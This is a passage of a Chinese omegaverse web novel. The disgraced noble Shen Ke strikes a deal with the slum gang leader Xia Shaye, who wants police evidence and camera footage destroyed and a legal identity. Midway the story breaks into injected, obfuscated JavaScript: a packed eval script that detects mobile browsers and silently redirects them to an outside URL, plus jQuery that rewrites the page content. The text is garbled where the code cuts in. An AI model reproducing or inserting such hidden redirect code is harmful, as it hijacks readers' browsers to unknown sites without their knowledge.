夜里下起了细细密密的雪。
被随意丢弃在巷子里的麻袋动了动,从里面慢吞吞爬出来一个人影。
下城区今晚冷得发慌,沈珂甩了甩被绳子捆得发青的手腕,轻轻打了个喷嚏。
手机定位显示这里距离贫民区足有三公里。
还把他扔得挺远。
街上的路人都撑起了伞,沈珂只身走在其中,边看手机边给好友打字:“之后不用帮我查了。”
好友回得很快:“嗯嗯?怎么?你找到目标了?”
“你没在家?”池宴礼的消息从上方弹出来,沈珂先切过去回了他。
“没有,怎么?”
“我在你家门口,你快到了没?”
谁都知道池家现在大受领袖青睐,池家的独子池宴礼两年前从军校毕业,最开始只是军部里最低级的军官,后来领袖大手一挥,池宴礼在这一年里连升三级,成了帝国目前最年轻少校。
要不是早在幼时就和沈家的沈珂订了婚,帝都那群适龄的贵族Omega非把池宴礼生吞了不可。
到了现在,依旧时不时有人旁敲侧击,问池家有没有和沈家退婚的打算,不过统统都被池宴礼赶了回去。
这段剧情的详细池宴礼没说过,沈珂也没问过。
进了上城区,右手第二栋豪宅就是沈家的房子,从雪白的瓦片到阔绰的大门就足以窥见旧贵族的昔日荣光。
“出去怎么不带把伞?”池宴礼的车停在路口,他撑了把伞站在门边。
见了沈珂,把自己身上的大衣解下来披在他身上,笑他:“你看你冻的,脸都白了。”
沈珂摸了下鼻子:“有吗?”
“有。太有了。”
池宴礼最近应该都在为了领袖出兵攻地的安排忙前忙后,沈珂问他怎么有空过来。
“刚从皇宫出来,顺路就过来看看你。”池宴礼闲聊似地说,“我一个警察朋友最近接了个大案,人是逮到了,就是关键的犯罪证据锁在硬盘里解不出来,估计现在还在加班加点呢。”
“警方都解不出来?”
“是啊,好像用了什么高端技术吧,这年头的罪犯各个都是硬茬……你看宇宙星盗这块蛋糕,领袖就是想啃也没那么容易。”
池宴礼和沈珂都不懂计算机,军方的事又不方便跟沈珂说太多,聊了两句池宴礼从包里拿出一个小礼盒。
“你上次不是说我家的葡萄酒好喝吗,给你从厂里带了一瓶。不过酒还是少喝,对身体不好。”
沈珂接过来说了声谢谢,池宴礼笑了笑:“跟我说什么谢谢,你什么时候这么有礼貌了?”
沈珂的长相是那种带点攻击性的,眼尾偏长,五官冷淡,不笑不说话的时候就给人一种不友善的傲慢感。
但池宴礼想想,沈珂在自己面前从来都是温和有度的,也就因为有二十年的交情,讲话不会太顾忌,但该有的礼数从来不会少。
所以哪怕沈家现在不招领袖待见,想从沈珂这个人身上找到可以非议的污点却很难。
除了两年前的那一件事……
“军校最近在扩招新生,领袖要攻打阿兰德区域,军部缺人,之后等彻底攻下来,光是驻扎星盗基地也要过去大几百人。”池宴礼说,“沈珂,你有没有想过回军校……”
“池宴礼,我不想聊这个。”沈珂淡淡地打断他。
“好吧……”池宴礼叹气,“你早点回去冲个澡,别感冒了,衣服回头再还我就行。”
沈珂回家就把池宴礼的外套给了佣人,让洗干净之后派人给他送回去。
沈珂怕冷,早年还不这样,这两年不锻炼了,易感期又来得频繁,肌力和体力都跟不上也很正常。
他进去冲了个热水澡出来,裹着浴袍往椅子上一坐,半湿的白发耷拉在肩上,后脑勺的鼓包在镜子里很明显,淤血了,一碰就痛。
他抽了根棉签出来上药,让AI给好友发语音消息。
“刚忘回你了,目标是找到了,但……”
但,什么?
但什么你倒是说完整啊!
当晚,收到消息的好友差点没被这句话活活憋死。
*
“老大,老大!打听到了!”
第二天中午,小弟推门进来报告。
“那傻子还真没瞎掰,他真是沈家的,而且以前在帝国很有名,连贫民区这些整天只想着今天去哪儿搞点面包的刁民都认识他,说是以前帝国军校生里最牛逼的那个。”
“继续。”夏纱野道。
“他也真的有一个未婚夫,姓池,现在是帝国最炙手可热的贵族!”
“我靠,老蔫儿你行啊,都会说成语了,最有文化的一集。”
“废话,爷爷我读过书认识字儿的,跟你们这群文盲能一样吗?”
“继续。”夏纱野道。
“咳咳咳咳,他俩、他俩好像打娘胎里就订了婚来着,结果沈家连续分化出了三个Alpha,最后才得了一个Omega,就是这个沈珂。当年池家和沈家还算门当户对,不过今非昔比,沈家现在想再翻身还真就只能靠这个婚约了。”
“说说。”夏纱野道。
“呃……刁民只说沈家和现任领袖有过节,有什么过节就不知道了。哎呀,真是时也命也,兔死狗蒸!”
“我靠这又啥意思?真给你老蔫儿装上逼了哈哈哈哈!”
小弟们吵吵嚷嚷的,夏纱野剥了颗花生丢嘴里,脸色不大好看。
不过他们老大常年都这副臭脸,只要没动手那就没事儿。
“警方还没动作,说明卡在解锁电脑数据上了,接下来很有可能沿街查监控,你们出去没被拍到吧?”
小弟们闻言一愣,颇为震惊道。
“老大……你头一次讲这么长的句子哎哟喂!”
夏纱野放下丢矿泉水瓶子的手,小弟捂着脑袋说:“没有没有,绝对没有……大概没有?”
“……”
贫民区以及周围三公里范围内是没有监控探头的,因为刁民们和一些地下机械师会运用各种手段把探头拆了拿去卖钱,屡装屡拆,屡拆屡装,最后帝都管理厅的人干脆放弃了。
而越靠近上城区,探头型号越智能,有些会识别人脸自动报警,所以夏纱野他们平时的活动范围只限于没有探头的这一带,如果没有小弟蠢到走出范围,那这事理应不用担心。
“老、老大……不要摆出这么恐怖的表情好吗,你看黑子都吓哭了……”
“一群蠢货。”夏纱野说。
小弟们哭道:“是,我们是一群蠢货。”
“一群蠢猪。”
小弟们哭道:“是,我们是一群蠢猪。”
“滚去门口跪好。”
“是,我们立马滚出去跪好——”
于是贫民区的住民们就看见平时拽得跟二五八万似的地痞流氓们在门口走廊上齐刷刷跪了一排,宛如军训,要多整齐有多整齐,要多端正有多端正。
看得人直想给他们鼓掌。
“跪好,回来之前谁也不准动。”
夏纱野撇下这句话就下楼梯走了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679001|173190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下到一楼门口,这里也很吵,一个商贩打扮的女人正拉着一个青年卖力推销什么。
青年一身宽松黑衫,腕上戴了根银链,穿得矜贵考究,一看就不是贫民区的人,被闻着味儿来的商贩逮住,看起来有些为难,但挡不住商贩的热情。
“……您不喜欢的话再看看这个,这个呢?都些是好货,绝对比上城区卖的还要好!”
“谢谢,但是真的不用……”
“您这话我就不爱听了嗷!又不是多贵的东西,您就当可怜可怜咱们这帮贱民,反正这点钱还没您一件衣服贵呢!”
夏纱野袖手旁观了会儿,直到青年扭头发现她的存在。
他立马想朝她靠近,但被商贩死死拽住了衣角,夏纱野抬脚就走。
“你等等。”
夏纱野来到角落一处废弃处理厂,油罐贴着生锈的管子哐哐砸两下,勉强还在运作的系统把零星一点黑油推了出来。
夏纱野拿手指一沾,凑到鼻前闻。
后面有人跟上来停在她身后:“您要这些废油干什么?”
夏纱野道:“今天只是强买强卖,你再多来晃几天就不一定了。”
沈珂却笑道:“您不奇怪我怎么认出您的?”
夏纱野今天没蒙脸,这个Omega只靠眼睛就认出了她。
“您长得和我想象中不太一样。”
夏纱野提着桶转身,沈珂很自然地跟上她。
“像杀过好几百个人。”
夏纱野:“……”
沈珂:“您打架肯定也很厉害吧?”
到了地方,夏纱野把机油倒进储油罐,黑油顺着罐壁流入如同镜面的粘稠油面。
沈珂在旁边看着,道:“我是认真的。”
“您再考虑一下吧。”
夏纱野这回总算搭理他了。
“我有什么好处?”
“如果您认为得到我的身体能算是好处的话。”
“你不是有未婚夫?”
“爱情和肉.欲是可以分开算的。”
“那还计较什么出轨证据?”
“我要的本来也不是身体出轨的证据。”
夏纱野斜过脸,终于正正经经打量了他一眼。
后者坦然地冲她勾了下嘴角,脆生生地说。
“我还是处。”
“……”
夏纱野那张万年不变的死人脸毫无波澜,难以猜测她心中所想。
反正那眼神别说是看“异性”了,甚至感觉不出她是在看一个“人”。
把桶往旁边一丢,无起伏的口吻:“我要你替我做三件事,别问,做完交差我就帮你。”
沈珂表示洗耳恭听。
“我要销毁警方手里的一个硬盘数据和周围监控探头的录像,还要一个合法户口。”
沈珂翘了嘴角:“就这?看不出您长了一张无恶不作的脸却是个柳下惠。”
他语气一瞬间带上了揶揄也不知是不是错觉。
“既然要做户口,那我应该可以知道您的名字?”
他右手轻轻握拳伸到夏纱野面前,夏纱野摊开手掌,一个微型仪器落到她掌中。
“叶莎。三十三岁。”她道。
“看不出来,那您比我大九岁。”
沈珂的手指保持着刚才的姿势微微张开,这个动作,腕骨凸出,一颗小痣缀在骨头拐角处格外显眼。
“这是能和我对话的通讯器。如果我明天再来,这儿的人真想对我做什么不好的事的话,请您一定要赶来保护我。”